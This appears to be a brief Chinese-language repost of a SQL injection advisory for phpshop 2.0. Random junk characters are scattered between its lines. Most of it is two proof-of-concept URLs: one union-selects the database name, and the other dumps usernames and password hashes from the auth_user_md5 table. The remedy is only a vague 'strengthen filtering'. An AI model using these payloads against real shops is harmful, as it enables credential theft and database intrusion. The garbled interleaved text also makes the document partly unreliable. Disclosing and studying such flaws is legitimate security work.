phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability
2 Z0 Z" l* x5 U4 \3 D, I
作者 : By onestree
4 ]; Z( I& r+ e/ W* h8 K: c& |下载地址 : http://code.google.com/p/phpshop/downloads/list
2 J" L# w6 D# d, p. j. B测试地址: windows 7 / ubuntu

5 a' \1 h: {7 `$ P
/ G% Z) Z3 q8 X- aSQLi p0c:
- |7 W) z2 `$ J. d
$ T# h. n: a+ I, ]1 R4 R==================

http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
; W! d' P$ J" Sunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
) u# K. d; F! A2 W1 ]' _
) g6 e) A) k, `# }5 F6 B' F9 Qhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
/ y: c# G) T+ V  N7 j) q' G
修复：
' U  }' P2 g; E: c3 U加强过滤
​
- b2 n: J4 P1 q# e